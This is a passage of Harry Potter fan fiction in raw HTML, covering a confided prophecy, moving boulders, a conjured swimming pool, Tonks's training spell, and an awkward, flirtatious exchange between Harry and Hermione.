wouldn&#8217;t leave me alone.&#8221;</p>\n\n<p>&#8220;That is no reason for you to jump down her throat like that, Harry, I&#8217;m surprised at you.&#8221;</p>\n\n<p>&#8220;Hermione, please, I was in the middle of some really deep thinking, about something that my life literally hinges on, and she disturbed me.&#8221; He held up a hand to stop her from speaking. &#8220;Now I know that&#8217;s no excuse, but when I tell you what I was thinking about, you&#8217;ll understand.&#8221;</p>\n\n<p>Hermione placed her hands on her shapely hips, something Harry found himself paying a bit too much attention to at the moment. &#8220;Well, I&#8217;m waiting.&#8221;</p>\n\n<p>Harry motioned her inside the room and closed the door after her. After she had bowed to Buckbeak, she sat down next to him and ruffled his feathers, while Harry started to pace.</p>\n\n<p>&#8220;This in not going to be easy for me, because what I&#8217;m about to tell you is known by only myself and Dumbledore. It&#8217;s the prophecy, the one Voldemort was after, Dumbledore had the original in his office and he played it for me. Bear with me,&#8221; Harry cleared his throat, and taking a deep breath, recited the prophecy word for word.</p>\n\n<p>Hermione&#8217;s eyes had grown wide and by the time he had finished speaking, her hand was over her mouth and she had a horrified expression on her face.</p>\n\n<p>&#8220;Oh, Harry&#8230;No wonder you were upset! I&#8217;d have been furious if I was thinking about something like this and someone interrupted!&#8221;</p>\n\n<p>Harry shrugged, &#8220;See, told you you&#8217;d understand, and the worst part is, I can&#8217;t tell them why I got so upset.&#8221;</p>\n\n<p>&#8220;Right, and don&#8217;t worry about Ginny and Ron, I&#8217;ll smooth things over.&#8221; Hermione stood up and put her hand on his arm. &#8220;Harry, please remember that we&#8217;re all your friends here. Any one of them would be willing to listen to you when you need to talk.&#8221;</p>\n\n<p>&#8220;I know, I know,&#8221; Harry ran his hand through his hair. &#8220;It just that&#8212;don&#8217;t tell any of them this, but&#8212;I don&#8217;t trust them as much as I trust you. I used to be able to tell Ron anything, but after last year, he&#8217;s more apt to tell me what I want to hear, just to avoid an argument with me. Ginny&#8217;s counsel is suspect, Neville, even though he means well doesn&#8217;t have the experience that we have, and Luna&#8230;well, let&#8217;s just say that when it comes to dealing with deaths, Luna was a big help, but about Voldemort, she&#8217;s clueless. She&#8217;s sincere, I&#8217;ll give her that, and so is Neville, but they&#8217;re ultimately clueless. That leaves you.&#8221;</p>\n\n<p>Hermione looked like she was about to start crying again, and he held up a hand.</p>\n\n<p>&#8220;I know this is all a big shock to you, I went from not sharing anything to practically baring my soul at the drop of a hat, and much as I want to, I can&#8217;t really explain why. I mean, I know why, but I can&#8217;t explain it just yet.&#8221;</p>\n\n<p>&#8220;I respect your privacy, Harry, and if you can&#8217;t explain it, then I won&#8217;t push you. However, you&#8217;ve put a lot of faith in me, and it&#8217;s a little disconcerting to know that you trust me more than you do Ron.&#8221;</p>\n\n<p>&#8220;Hermione&#8230;&#8221;</p>\n\n<p>&#8220;What is it?&#8221;</p>\n\n<p>&#8220;I&#8212;nothing, I thought I might have found a way to explain, but the thought didn&#8217;t hang around long enough to solidify.&#8221;</p>\n\n<p>&#8220;Okay, Harry.&#8221; Hermione moved towards the door, and he made no move to stop her. &#8220;I guess I should go deal with the fallout from <st1:place w:st="on"><st1:placetype w:st="on">Mt.</st1:placetype>\n\n<st1:placename w:st="on">Harry</st1:placename></st1:place>.&#8221;</p>\n\n<p>&#8220;I guess so.&#8221; Harry turned back to Buckbeak and settled himself again as Hermione closed the door behind her, leaving him alone with the hippogriff and his thoughts once again. Unwilling to dwell on matters further, Harry took out his wand to keep it from poking him, leaned his head against Buckbeak and contemplated training with Tonks and Moody.</p>\n\n<p>&nbsp;***</p>\n\n<p>When Harry went downstairs a couple of hours later, he hoped he&#8217;d be able to avoid both Ron and Ginny, hurrying through the house to the kitchen, where he grabbed some pumpkin juice, and slapped together a sandwich. He heard voices outside and looked out the window to see Neville, Hermione, Luna, Ron and Ginny attempting to move a large boulder that was embedded in the yard. Puzzled, he joined them and asked what was going on.</p>\n\n<p>Neville raised a sleeve to his sweaty brow, &#8220;Well, Harry, since you told me I could have the greenhouse, I figured these big rocks would be great for growing some plants that Hermione told me about that only live on rocks, and can only survive by slowly digesting the rock they live on. I reckoned you wouldn&#8217;t mind if I moved these huge stones out of your yard and used them for the plants.&#8221;</p>\n\n<p>Harry stood there finishing his lunch, eyeing the big rocks and his five sweaty friends. He assessed the situation, noting that they were going about the endeavor all wrong.</p>\n\n<p>&#8220;Looks like quite a job, can I help?&#8221;</p>\n\n<p>Neville grinned, &#8220;Sure!&#8221;</p>\n\n<p>Harry stepped up to one of the rocks and pushed his hand against it. It was around five feet high, rough and misshapen, there was no way for it to roll, and they had been trying to push and drag it, all five heaving and grunting. He looked at the hopeful Neville.</p>\n\n<p>&#8220;Neville, if you don&#8217;t mind my saying so, there is an easier way to do this.&#8221;</p>\n\n<p>&#8220;Really? How?&#8221;</p>\n\n<p>Harry looked from Neville to a grinning Hermione. &#8220;I&#8217;m surprised you haven&#8217;t told them.&#8221;</p>\n\n<p>&#8220;Told us what?&#8221;</p>\n\n<p>&#8220;Nothing,&#8221; Hermione said quickly, shooting a pointed glance at Harry. &#8220;He just figures that since I&#8217;m a Muggleborn that I should know the mechanics to make hard labor easier.&#8221;</p>\n\n<p>Ron narrowed his eyes, &#8220;Is that it, Harry?&#8221;</p>\n\n<p>Harry didn&#8217;t like the look Ron was giving him, but went along with Hermione&#8217;s lie. &#8220;Yeah, but I forget sometimes that I&#8217;m the only one here that had to do actual work. Ron, run to the shed and grab those long wooden poles. We&#8217;ll work in teams of two; a guy and girl to each pole.&#8221;</p>\n\n<p>&#8220;Wait a minute! Why are you the one giving orders?&#8221;</p>\n\n<p>Harry gritted his teeth and fought to keep his temper in check.</p>\n\n<p>&#8220;Because, Ron, I&#8217;m the one that knows what I&#8217;m doing. Now would you please go fetch those poles?&#8221;</p>\n\n<p>Ron glowered, but left to do as Harry had asked.</p>\n\n<p>Harry looked at the others to see if anyone else wanted to question his leadership, but no one did.</p>\n\n<p>&#8220;Hermione, you&#8217;re with me, Neville, you take Ginny, Luna, you can pair up with Ron. One team will be on one side, one on the other, and the third will be in the middle. The two side teams will slide their poles at angles, so that the tips will be pointing towards one another. The middle team will slide their pole under the rock to keep it from settling back down when the two side teams raise it. Got that?&#8221;</p>\n\n<p>Everyone nodded that they understood, and in no time, Ron had returned with the poles. He handed one to Neville, and Luna, then moved next to Hermione and held out a pole.</p>\n\n<p>&#8220;Ready, partner?&#8221;</p>\n\n<p>Hermione blushed, &#8220;Uhm&#8230;I&#8217;m not your partner, Ron, Luna is.&#8221;</p>\n\n<p>Ron went as red as his hair, &#8220;What?&#8221; He seemed to spot the way everyone was standing; Neville and Ginny on one side, Luna expectantly on the other, and Harry and Hermione in the middle with him, and he glowered again.</p>\n\n<p>&#8220;Should have known,&#8221; he muttered, shoving the pole he was holding, roughly into Harry&#8217;s hands, and taking his place next to Luna.</p>\n\n<p>&#8220;On three,&#8221; said Harry, standing behind Hermione and getting ready to push his bar under the rock.</p>\n\n<p>&#8220;One! Two! Three! Lift!&#8221;</p>\n\n<p>The rock grudgingly released its hold on the ground, tearing quite a bit of the surrounding lawn up when it finally toppled over. The six teens adjusted their positioning and repeated the process, over and over again until they had reached the entrance to the greenhouse, nearly sixty yards from their starting point.</p>\n\n<p>&#8220;Tell me again, why we&#8217;re doing this,&#8221; grumbled Ron.</p>\n\n<p>&#8220;Because we have nothing better to do, and it&#8217;s either this, or sitting in the kitchen and discussing our homework for this summer,&#8221; said Harry, his mood just as irritable, but trying to fight it.</p>\n\n<p>&#8220;Harry,&#8221; said Hermione, &#8220;I was thinking about it, and once we get these rocks moved for Neville, d&#8217;you think we can see if Lupin might be willing to do a little magic and install a pool in the open area?&#8221;</p>\n\n<p>&#8220;Great idea!&#8221; said Harry.</p>\n\n<p>&#8220;Pool?&#8221; asked Ron, his confusion echoed on the faces of Neville, Ginny, and Luna.</p>\n\n<p>&#8220;<i>Swimming pool</i>, Ron,&#8221; Hermione said, wearily.</p>\n\n<p>&#8220;Oh, OH!&#8221; said Ron, catching on quickly.</p>\n\n<p>&#8220;Well, the sooner we get these rocks moved, the sooner we can ask him,&#8221; said Luna, and the teens turned back to their task with more vigor than they had started out with.</p>\n\n<p>The late afternoon rolled around, and it was close to three o&#8217;clock when Harry and company started on their last rock. The heat index had climbed from a warm ninety-five to around one hundred degrees as the day had worn on, and both Harry and Neville had shed their sweat soaked shirts, modesty giving way to comfort. Ron had refused to remove his, on the grounds that he had enough freckles, and Weasleys didn&#8217;t tan, they just burned, a sentiment that Ginny readily agreed with. Hermione on the other hand, had rolled up her sleeves, and tied her button up shirt in a knot above her midriff, a style Luna had quickly copied.</p>\n\n<p>&#8220;Okay, guys, on three.&#8221; Harry counted down again, and the six exhausted teenagers heaved and grunted, forcing the last boulder to release its hold on the earth. When it toppled over, Ron gave a half-hearted cheer, but shut up when he saw the glares directed at him.</p>\n\n<p>&#8220;What?&#8221;</p>\n\n<p>&#8220;Finish first, then you can cheer,&#8221; said Hermione, wiping her sweaty hands on her pants. </p>\n\n<p>&#8220;I agree with Hermione,&#8221; said Neville, stretching his back.</p>\n\n<p>Harry cracked his knuckles and rolled his shoulders, &#8220;C&#8217;mon, guys, argue later.&#8221;</p>\n\n<p>Twenty minutes later, with a final concerted effort, they rolled the last rock into the greenhouse. Harry turned to Ron with a grin.</p>\n\n<p>&#8220;<i>Now</i> you can cheer!&#8221;</p>\n\n<p>Ron frowned, &#8220;I would, but I don&#8217;t have the energy.&#8221;</p>\n\n<p>&#8220;Aw, it wasn&#8217;t that bad,&#8221; Harry smiled.</p>\n\n<p>Ron just glowered and everybody laughed. For a moment, it was like there had never been any tension at all.</p>\n\n<p>&#8220;What are you kids up to out here?&#8221; asked Lupin, coming from the house. &#8220;Looks like you all got a little warm, heh?&#8221; He looked at the sweaty teenagers, glancing pointedly at the shirtless Harry and Neville and grinning at what Hermione and Luna had done to their shirts.</p>\n\n<p>&#8220;Uh, yeah,&#8221; said Harry, &#8220;Remus, I&#8212;we were wondering if maybe, you could put in a pool.&#8221;</p>\n\n<p>Lupin looked at the suddenly smiling teens, &#8220;I think that&#8217;s an excellent idea,&#8221; He smiled, and took out his wand. &#8220;Although I have never done this before, it can&#8217;t be too difficult.&#8221; He walked away from the group, pointing his wand at the ground the entire time, what looked like a fine mist spraying from the end. &#8220;Let me know when the length is satisfactory,&#8221; he said, continuing to walk.</p>\n\n<p>&#8220;That should be good, right, Hermione?&#8221; asked Harry, when Lupin was close to fifty feet away.</p>\n\n<p>&#8220;Looks good to me,&#8221; she said, and Lupin made a right-angled turn, marking out the width, stopping when Harry shouted again, and then after another right-angled turn, came back to the teens, making another right-angled turn to end up where he had started. When the lines were connected, the mist began to glow, solidifying into a bright yellow line that marked out the perimeter of the pool.</p>\n\n<p>&#8220;<i>Excavat&#233;</i>!&#8221; Lupin shouted, and all the dirt inside the rectangle shot into the air in one block, leaving a hole approximately one foot deep, fifty feet long, and twenty feet wide. &#8220;How deep would you like it?&#8221;</p>\n\n<p>&#8220;At least seven feet on one end and five at the other,&#8221; said Hermione, and Harry nodded.</p>\n\n<p>&nbsp;Lupin waved his wand again and more dirt shot out of the hole to join the pile in the air, when the specified depth was reached, he transfigured the block into a large concrete tub, and dropped it into the space the dirt had occupied a moment before. He transfigured a section of ground around the pool into a patio and then created a walkway from the back door. He turned to the grinning teens. &#8220;Will that be all?&#8221;</p>\n\n<p>&#8220;Uh&#8230;Professor?&#8221; said Hermione.</p>\n\n<p>&#8220;Yes?&#8221;</p>\n\n<p>&#8220;You forgot the water.&#8221;</p>\n\n<p>Lupin turned back to the pool and blushed. &#8220;So I did, terribly sorry.&#8221; He pointed his wand and a huge fountain of water shot out, quickly filling the pool with cold, crystal clear water.</p>\n\n<p>&#8220;I&#8217;ve charmed the water to keep it clean, so you needn&#8217;t worry about that, and since I don&#8217;t believe any of you had the foresight to bring swimming wear, I&#8217;ll take care of that for you as well.&#8221; Lupin pointed his wand at each of them in turn. Harry found himself in a pair of black trunks, and thanked Lupin silently for not putting him in a maroon Speedo like the scarlet faced Ron. Neville too was in trunks, but his were green. Ginny got a yellow one-piece, with extra material to insure she was covered, while Luna ended up with a much skimpier silver two-piece. Hermione&#8217;s was a dark blue, one-piece with a large diamond cutout in the front and back that nearly made it a two-piece.</p>\n\n<p>&#8220;Professor!&#8221; Ron wailed, trying desperately to cover himself with his hands.</p>\n\n<p>Lupin laughed, &#8220;Sorry, Ron. The spell took whatever swim wear you were thinking of at that moment.&#8221; He raised an eyebrow, &#8220;I guess you shouldn&#8217;t have been thinking of the Speedo.&#8221;</p>\n\n<p>Harry was even more thankful that he had been picturing trunks, when it suddenly dawned on him that the girls hadn&#8217;t chimed in yet. He looked at Luna, and she was smirking, Ginny was making sure her knots were tight, and Hermione was biting her lip, a small frown on her face. </p>\n\n<p>&#8220;Can you please change mine to trunks like Harry and Neville?&#8221; pleaded Ron.</p>\n\n<p>&#8220;I think you look good, Ronald,&#8221; said Luna, her eyes raking the redhead from head to toe. &#8220;About what I imagined you&#8217;d look like in something like that.&#8221;</p>\n\n<p>Ron&#8217;s eyes went wide and he turned to the still grinning Lupin.</p>\n\n<p>&#8220;Please, Professor!&#8221;</p>\n\n<p>&#8220;Sorry, Ron, I&#8217;ve over taxed myself at this point, the pool and the patio and then the clothes, I think I need to go lie down,&#8221; he headed back into the house without another word, but Harry heard him break into loud guffaws when the door shut behind him.</p>\n\n<p>A huge splash let Harry know that someone had jumped in and he turned in time to see Ron coming up, and Luna, Ginny, and Neville getting in.</p>\n\n<p>&#8220;This water is <i>cold</i>!&#8221; said Neville, sliding in up to his waist.</p>\n\n<p>&#8220;That&#8217;s why I jumped in,&#8221; grinned Ron, shaking his wet hair out of his eyes. He started to say more, but Ginny jumped at him, trying to push his head below the water, an activity that Neville and Luna joined. </p>\n\n<p>Harry looked at Hermione; she was still frowning. When she noticed him looking at her, she blushed and dove into the pool headfirst. Harry looked at his friends in the cold water and wondered why he was still standing in the hot sun and not in there with them. Without another thought, he leaped into the air and did a cannonball into the pool.</p>\n\n<p>***</p>\n\n<p>The six teenagers spent the rest of the afternoon in the pool, the cold water just what they needed after getting all hot and sweaty. After three hours in the water, Harry decided he had had enough. He climbed out, pulling at his trunks to keep the material from outlining body parts while his back was to his friends, an action that was not lost on Ron apparently.</p>\n\n<p>&#8220;Oy, Harry, what&#8217;s wrong, mate?&#8221;</p>\n\n<p>&#8220;Nothing,&#8221; said Harry, making sure the wet material was no longer clinging to him. &#8220;I&#8217;m just turning into a prune.&#8221; He held up his hands, showing the wrinkled skin of his fingers.</p>\n\n<p>&#8220;That makes two of us,&#8221; Hermione said, climbing out too. &#8220;I think I&#8217;ve had enough fun for one day.&#8221; She grabbed her wet hair and twisted the thick mass, wringing the water from it and flinging it over her shoulder.</p>\n\n<p>&#8220;Aw, don&#8217;t be a spoilsport! C&#8217;mon back in, guys,&#8221; said Ron.</p>\n\n<p>&#8220;I think they have the right idea, Ron,&#8221; said Ginny, making her way to the side.</p>\n\n<p>&#8220;I&#8217;ll stay with you, Ronald,&#8221; said Luna, sliding over closer and resting her arms on the side next to Ron.</p>\n\n<p>&#8220;Thanks, Luna,&#8221; Ron shot Harry and Hermione a sharp look, but they ignored him, Ginny trailing behind. They found towels hanging on a rack near the door, and Harry figured Lupin had sneaked them out while they had been busy playing and splashing around, and held one open for Hermione to wrap herself in, taking another for himself.</p>\n\n<p>&#8220;Hold up, Ginny!&#8221; said Neville, climbing out of the pool and hurrying over. He took a towel from the rack and emulating Harry, opened it for Ginny to wrap around herself. He smirked at the gaping Ron.</p>\n\n<p>&#8220;What? Girls like this kind of stuff, right?&#8221; An uncertain look crossed his face and he looked at Hermione and Ginny for confirmation.</p>\n\n<p>&#8220;Absolutely, Neville,&#8221; said Hermione, and she smiled at Harry. &#8220;You get more flies with honey than you do vinegar.&#8221; </p>\n\n<p>Harry grinned, opened the door and without waiting for Neville and Ginny, they went inside.</p>\n\n<p>&#8220;I&#8217;m going to go change,&#8221; said Hermione, as they passed through the kitchen.</p>\n\n<p>&#8220;Yeah, me too, meet me in the study when you finish, I want to go over that D.A. plan McGonagall wants.&#8221;</p>\n\n<p>&#8220;Just let those suits dry and they&#8217;ll change back to the way they were,&#8221; Lupin called from the lounge, as they made their way upstairs.</p>\n\n<p>&nbsp;&#8220;Thanks, Professor!&#8221; Harry shouted back.</p>\n\n<p>&nbsp;Hermione went into her room and Harry was about to enter his when a voice stopped him.</p>\n\n<p>&#8220;Harry!&#8221;</p>\n\n<p>Harry spun around, his hand reaching for his wand, before remembering that it was safely in Buckbeak&#8217;s room.</p>\n\n<p>&#8220;Geeze, Tonks! Are you trying to give me a heart attack?&#8221;</p>\n\n<p>Tonks, her hair standing approximately two feet straight up from her head, and a bright, shiny, silver, grinned, &#8220;Sorry, Harry. I just got word from Kingsley, I&#8217;m needed on assignment, so I can&#8217;t be your trainer.&#8221;</p>\n\n<p>&#8220;Sorry to hear that, I guess it&#8217;ll just be me and Moody then.&#8221;</p>\n\n<p>&#8220;Sorry again, mate, but Moody&#8217;s needed too,&#8221; she grimaced. &#8220;I hate to tell you this, but Kingsley will be your instructor.&#8221;</p>\n\n<p>Harry frowned, &#8220;What&#8217;s so bad about Kingsley?&#8221;</p>\n\n<p>&#8220;Take it from me, Harry; you do <i>not</i> want him for your trainer. But, since we can&#8217;t do anything about that now, I&#8217;m going to help you all I can, before he gets here.&#8221;</p>\n\n<p>&#8220;How?&#8221;</p>\n\n<p>&#8220;Well, Harry, remember I told you about Aurors using a spell to increase speed and strength? Well, it only lasts an hour or so, and drains a Wizard&#8217;s energy at a very fast rate, so some friends, and me developed an alternative version a few years ago. It won&#8217;t make you stronger immediately, but if you keep pushing yourself passed your limits, your growth in strength and speed, agility, and endurance will increase by a factor of one.&#8221;</p>\n\n<p>&#8220;Say that again, and this time in English.&#8221; </p>\n\n<p>&#8220;Okay, if you can run half a mile without stopping right now, then after the spell, you&#8217;ll still only be able to do the half mile, <i>but</i> if you push yourself one step passed that half mile limit, then you&#8217;ll be able to do the rest of the mile without stopping. Did that make sense?&#8221;</p>\n\n<p>&#8220;Sort of,&#8221; Harry mused, &#8220;So if I&#8217;m able to do ten chin-ups right now, and after the spell, I push myself to eleven chin-ups, then I&#8217;ll be able to do another ten without stopping?&#8221;</p>\n\n<p>&#8220;Close enough. The good thing is, the results are permanent, but the spell itself wears off after a month or so. We never were able to pin point exactly how or when it goes away, it&#8217;s kind of dependant on the Witch or Wizard it&#8217;s cast on.&#8221;</p>\n\n<p>&#8220;Cool! I didn&#8217;t know you could just create spells!&#8221;</p>\n\n<p>Tonks face grew stern, &#8220;Well, you can, but you&#8217;re not supposed to. The Ministry frowns heavily on that sort of thing and all new spells are or should be registered, complete with hand movements, effects and side effects. Harry, this is more than slightly illegal in more ways than just one, Aurors aren&#8217;t supposed to use anything but their natural abilities to help themselves through training, but since you are a special case in every sense of the word, I don&#8217;t think it will hurt.&#8221; She smiled, &#8220;Besides, anything that makes you stronger than You-Know-Who is a good thing, right?&#8221;</p>\n\n<p>&#8220;Yeah,&#8221; said Harry, his thoughts automatically jumping to the prophecy. If using the spell would help him in the long run, then he was more than willing to suffer the consequences.</p>\n\n<p>&#8220;Ready? This will only take a second. You won&#8217;t feel any different until you actually exert yourself.&#8221;</p>\n\n<p>&#8220;Great, where were you when we were straining our asses off moving those big honking rocks?&#8221; he asked, slightly irritated.</p>\n\n<p>Tonks raised a chrome eyebrow, &#8220;What rocks?&#8221;</p>\n\n<p>&#8220;Out back,&#8221; Harry gestured with his thumb, &#8220;me and the gang moved them into the greenhouse so Neville can grow some plants on them.&#8221;</p>\n\n<p>&#8220;Oh, good idea,&#8221; Tonks raised her wand. &#8220;Now hold still, Harry, I don&#8217;t have much time.&#8221; She tapped him on the head, and Harry felt warmth spread throughout his body. It was an interesting sensation to say the least, and it left every muscle in his body tingling. &#8220;Now, once you start training, you&#8217;ll see a marked change, not so much in mass, that comes later, after lots of training and eating right,&#8221; she smiled and gave him an appraising glance, reminding him he was only wearing wet swimming trunks. &#8220;Not that you&#8217;re that bad, but your strength and muscle definition will definitely take a turn for the better. You won&#8217;t be Ahhnuld,&#8221; she morphed her face and did a perfect Schwarzenegger impersonation, &#8220;so lose that thought right now.&#8221;</p>\n\n<p>Harry, who had indeed been picturing himself looking like the Terminator, blushed furiously.</p>\n\n<p>&#8220;Okay, so I won&#8217;t be huge, but eventually, I will be buff, right?&#8221;</p>\n\n<p>Tonks returned to normal, or as normal as she ever got, and nodded, her face turning slightly red.</p>\n\n<p>&#8220;You&#8217;re almost there now, mate, you just have to work at it a little more. Now, if you&#8217;ll excuse me, I&#8217;m outta here!&#8221;</p>\n\n<p>&#8220;Tonks, wait!&#8221;</p>\n\n<p>&#8220;What?&#8221;</p>\n\n<p>&#8220;How bad will it be with Shacklebolt?&#8221;</p>\n\n<p>&#8220;Terrible. He has no mercy or compassion, when he trains you, you either give it one hundred percent or he makes your life a living hell.&#8221;</p>\n\n<p>&#8220;Oh,&#8221; said Harry, in a small voice.</p>\n\n<p>&#8220;Look, Harry, I understand what you&#8217;re feeling, because I felt the same thing. The best thing you can do is go to your room or back outside, and exercise, get a jump on the training by building your strength now, before he starts in on you.&#8221;</p>\n\n<p>&#8220;Thanks, Tonks, I really appreciate everything.&#8221;</p>\n\n<p>&#8220;No problem, Harry, now I really have to go!&#8221; Tonks disappeared with the customary <i>POP</i> of Apparation.</p>\n\n<p>It dawned on Harry a moment later, that Tonks had not only complimented him, she had been checking him out! He looked down at his chest and abdomen. Now that she mentioned it, he could see some definition in his pectorals, but it was his abdomen that really shocked him. He was so used to being considered skinny; that he had failed to notice that at some point his stomach had toned up, developing the ridges that led to the washboard look. Amazed that he had missed such a major transformation in himself, he immediately went to talk to Hermione.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry walked into Hermione&#8217;s room without knocking or thinking, so muddled were his thoughts. </p>\n\n<p>&#8220;HARRY!&#8221; she shrieked, and he realized that she wasn&#8217;t dressed, wearing only a lacey pink bra and matching tanga. She snatched up her towel and held it in front of her, &#8220;Get out of here!&#8221;</p>\n\n<p>Harry stood there staring, before his dazed brain caught what she was saying. When he did, he blushed nine shades of red and fled the room, rushing back to his room and hoping he wouldn&#8217;t run into anybody.</p>\n\n<p>He quickly pulled on some fresh clothing, sat on his bed, and tried to vanquish the image he had just seen from his head, but to no avail. His retinas were imprinted, and when he closed his eyes, he found himself analyzing body parts that he shouldn&#8217;t be thinking about at all. His blush increased, until he felt like his face was on fire. </p>\n\n<p>A knock at his door shook him from his reverie.</p>\n\n<p>&#8220;Harry? Can I come in?&#8221;</p>\n\n<p>Harry&#8217;s embarrassment climbed a notch, here he was the one that did the seeing and she was the one that sounded apologetic. He got up and opened the door for her. She walked in, wearing a baggy t-shirt and loose fitting, jean shorts.</p>\n\n<p>&#8220;I&#8217;m sorry, I should have knocked,&#8221; Harry muttered, not looking at her.</p>\n\n<p>&#8220;It was an accident, Harry; I&#8217;m not mad,&#8221; she blushed, &#8220;just a little embarrassed.&#8221;</p>\n\n<p>&#8220;You shouldn&#8217;t be,&#8221; the words slipped out, before Harry even knew they were there. He almost amputated the tip of his tongue, trying to shut his mouth, but it was too late.</p>\n\n<p>&#8220;What?&#8221; Hermione&#8217;s eyes were wide. </p>\n\n<p>With the cat out of the bag, Harry figured he might as well be honest.</p>\n\n<p>&#8220;Hermione, you&#8217;ve nothing to be embarrassed about. You look great, and although I never would have pictured you in something like that&#8212;</p>\n\n<p>&#8220;What would you have pictured me in?&#8221; her voice had gotten slightly husky, and Harry gulped. He sensed that things were about to spiral out of control, he had to change the subject. The only question, was how?</p>\n\n<p><i>&#8220;Make her mad.&#8221;</i></p>\n\n<p>&#8220;I dunno, something like Aunt Petunia wears&#8212;</p>\n\n<p>&#8220;WHAT? HARRY POTTER! I CAN&#8217;T BELIEVE THAT YOU WOULD SAY SUCH A THING!&#8221; Hermione&#8217;s face had dropped into her McGonagall look, lips pressed together, brows furrowed, and shooting a glare that would likely have killed a lesser man. But Harry, was made of stouter stuff.</p>\n\n<p>&#8220;Now, now, Hermione, you didn&#8217;t let me finish!&#8221; He held up his hands to show he meant no harm. &#8220;I was about to say that something like Aunt Petunia wears is all I know regarding women&#8217;s undergarments.&#8221;</p>\n\n<p>&#8220;Oh,&#8221; Hermione looked sheepish. &#8220;Sorry.&#8221;</p>\n\n<p>&#8220;Geeze, don&#8217;t be so quick to bite my head off.&#8221; He chuckled, happy that his diversion had worked.</p>\n\n<p>&#8220;You mean you&#8217;ve never seen anything other than&#8230;What does she wear?&#8221;</p>\n\n<p>&#8220;Oh, you know those big, pantaloon type things that reach from the knee to the arm pits.&#8221;</p>\n\n<p>&#8220;Oh my,&#8221; Hermione covered a giggle.</p>\n\n<p>&#8220;Tell me about it,&#8221; Harry feigned horror. &#8220;I&#8217;d hate to be doing the laundry and come across something like what you had on.&#8221; Harry realized his mistake almost as soon as the words left his mouth. Hermione&#8217;s brown eyes darkened, and he tried to pull both his big feet from his mouth. &#8220;Wait! I didn&#8217;t mean it like that! I meant, that if I stumbled across something that sexy, it would make me wonder what my aunt was doing with it, and that would lead to more questions, and then visual images that I&#8217;d rather not, but already do, thanks to you, have stuck in my head.&#8221;</p>\n\n<p>&#8220;You think it&#8217;s sexy?&#8221;</p>\n\n<p>Harry&#8217;s mind went on full red alert. He consciously told his mouth not to say a word while he tried his best to extricate himself from such a volatile situation.</p>\n\n<p>&#8220;Uhm&#8230;er&#8230;that is to say, uhm&#8230;&#8221; The hole he was digging himself into was getting ever deeper. &#8220;The underwear itself is sexy, and while it looks good on you, I do <i>not</i> want to think about my aunt dressed like that. Which brings to mind another question, why are <i>you</i> wearing something like that? Isn&#8217;t that bit a little too girly for you?&#8221;</p>\n\n<p>Hermione wrapped her arms around herself, &#8220;Contrary to popular belief, I am a girl, and just like every other girl in the world, I like to feel sexy, I like to dress up and do my hair and put on makeup, all that. I don&#8217;t get many occasions to do so, but for a worthwhile cause, I like doing it.&#8221;</p>\n\n<p>&#8220;I know you&#8217;re a girl, Hermione, and a damned pretty one at that.&#8221;</p>\n\n<p>&#8220;Thank you, Harry, but sometimes I wonder.&#8221;</p>\n\n<p>&#8220;You shouldn&#8217;t.&#8221;</p>\n\n<p>&#8220;What, wonder?&#8221;</p>\n\n<p>&#8220;No,&#8221; Harry shook his head, &#8220;have to wonder.&#8221;</p>\n\n<p>&#8220;That&#8217;s nice of you to say, Harry, but given my record or complete lack thereof, I can&#8217;t help it.&#8221;</p>\n\n<p>&#8220;Hermione&#8230;&#8221;</p>\n\n<p>She raised her hand, &#8220;No, it&#8217;s alright, I&#8217;m used to it, or at least I should be. Neither you nor Ron would have asked me to the Yule Ball except as a last resort, and I know that&#8217;s because we&#8217;ve been friends for so long, that neither of you saw me as anything but &#8216;one of the guys,&#8217; and that&#8217;s not completely your fault, because I tried not to act very girly when around you, and since I was around you so much&#8230;&#8221; she let the thought trail off, letting Harry draw his own conclusions.</p>\n\n<p>&#8220;I was a fool. I was so hung up on Cho, and then I never entertained the idea of asking you, because it never crossed my mind that you might like to go with me.&#8221; Harry ran his hand through his hair, causing it to stand up even more than usual. &#8220;I&#8217;m sorry. Can you ever forgive me?&#8221;</p>\n\n<p>Hermione smiled, &#8220;Of course I can, because believe it or not, I had a great time with Viktor,&#8221; her smiled vanished to be replaced with a grimace, &#8220;until Ron started acting like an ass.&#8221;</p>\n\n<p>&#8220;I don&#8217;t want to talk about Ron right now, there&#8217;s something that I&#8217;ve been doing and I only realized it right after I got back to the Dursley&#8217;s.&#8221;</p>\n\n<p>Hermione&#8217;s expression immediately softened, &#8220;What is it, Harry?&#8221;</p>\n\n<p>&#8220;Taking those I care about for granted.&#8221;</p>\n\n<p>Hermione narrowed her eyes, &#8220;How did you come to this realization?&#8221;</p>\n\n<p>&#8220;This may sound corny, but it came about because of a song.&#8221;</p>\n\n<p>&#8220;A song?&#8221;</p>\n\n<p>He nodded, &#8220;Yeah, a day or so after I got back, I had had enough being cooped up in the house and just like last summer, I wandered around the neighborhood. I usually found myself in the park and this was no exception. I took a seat on a swing and just sat there mulling over the things that happened, and a car pulled into the parking lot to pick up some kids. There was this song playing on the radio, and I only caught part of it, but what I did catch, hit me like a ton of bricks, I sat there and cried, I cried more than I thought possible,&#8221; his voice grew thick, &#8220;It really struck a chord within me, and it&#8217;s why I&#8217;ve been opening up to you so much,&#8221; he felt his face get hot, &#8220;and if you don&#8217;t mind, I&#8217;d like to share it with you.&#8221;</p>\n\n<p>Hermione just nodded.</p>\n\n<p>&#8220;I used my wand to record what little I heard, let me go get it,&#8221; said Harry.</p>\n\n<p>&#8220;I&#8217;ll be right here.&#8221;</p>\n\n<p>Harry smiled, then rushed off to Buckbeak&#8217;s room to retrieve his wand. When he came back, Hermione had taken a seat on his bed and was flipping through his photo album. She was staring at a photo of himself grinning at something she had said, a small smile playing about her lips as she remembered that moment.</p>\n\n<p>&#8220;Okay, I&#8217;m back.&#8221;</p>\n\n<p>She put the book away and turned to face him, &#8220;I&#8217;m all ears.&#8221;</p>\n\n<p>&#8220;And hair, but that&#8217;s beside the point,&#8221; Harry grinned.</p>\n\n<p>Hermione stuck her tongue out at him. &#8220;Smart aleck,&#8221; she said. &#8220;Get on with it.&#8221;</p>\n\n<p>Harry waved his wand, mumbling the spell quietly and a man&#8217;s deep voice filled the room. The tune was slow and the words heartfelt, tugging at Harry&#8217;s heart again, and he felt himself tear up. He sat down on the bed beside Hermione while the singer spoke to them.</p>\n\n<p><i>&#8220;I&#8217;ve lost loved ones in my life,</i></p>\n\n<p><i>who</i><i> never knew how much I loved them.</i></p>\n\n<p><i>Now, I live with the regret that my true feelings for 